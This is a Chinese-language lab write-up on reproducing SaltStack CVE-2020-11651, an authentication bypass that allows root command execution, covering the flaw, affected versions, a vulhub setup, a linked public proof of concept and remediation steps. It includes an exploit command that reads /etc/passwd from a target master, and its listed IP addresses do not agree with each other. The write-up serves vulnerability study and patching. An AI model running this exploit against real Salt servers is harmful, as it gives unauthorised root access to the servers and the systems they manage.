0x01 簡介
SaltStack 是基於 Python 開發的一套C/S架構配置管理工具。
0x02 漏洞概述
在 CVE-2020-11651 認證繞過漏洞中,攻擊者通過構造惡意請求,可以繞過 Salt Master 的驗證邏輯,調用相關未授權函數功能,從而可以造成遠程命令執行漏洞:
ClearFuncs類會處理非認證的請求和暴露_send_pub()方法,可以用來直接在master publish服務器上對消息進行排隊。這些消息可以用來觸發minion來以root權限運行任意命令。
ClearFuncs類還會暴露 _prep_auth_info()方法,該方法會返回用來認證master服務器上本地root用戶的命令的root key。然后root key就可以遠程調用master 服務器的管理命令。這種無意的暴露提供給遠程非認證的攻擊者對salt master的與root權限等價的訪問權限。
0x03 影響版本
SaltStack < 2019.2.4
SaltStack < 3000.2
0x04 環境搭建
直接使用vulhub進行搭建
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/saltstack/CVE-2020-11651/
docker-compose up -d
查看環境是否啟動docker ps
0x05 漏洞復現
Poc:
https://github.com/jasperla/CVE-2020-11651-poc
執行前需要安裝salt庫,需指定salt庫版本
pip3 install salt==2019.2.3
靶機ip:192.168.10.113
攻擊機ip:192.168.10.113
讀取文件:
python3 exploit.py --master 192.168.232.170 -r /etc/passwd
0x06 修復方式
1、SaltStack官方已發布最新版本修復此漏洞,建議相關用戶及時更新至安全版本及其以上,並開啟SaltStack自動更新,以便實時獲取補丁或升級至安全版本:https://repo.saltstack.com/
2、禁止將Salt Master默認監聽端口(4505、4506)向公網開放,並設置為僅對可信對象開放。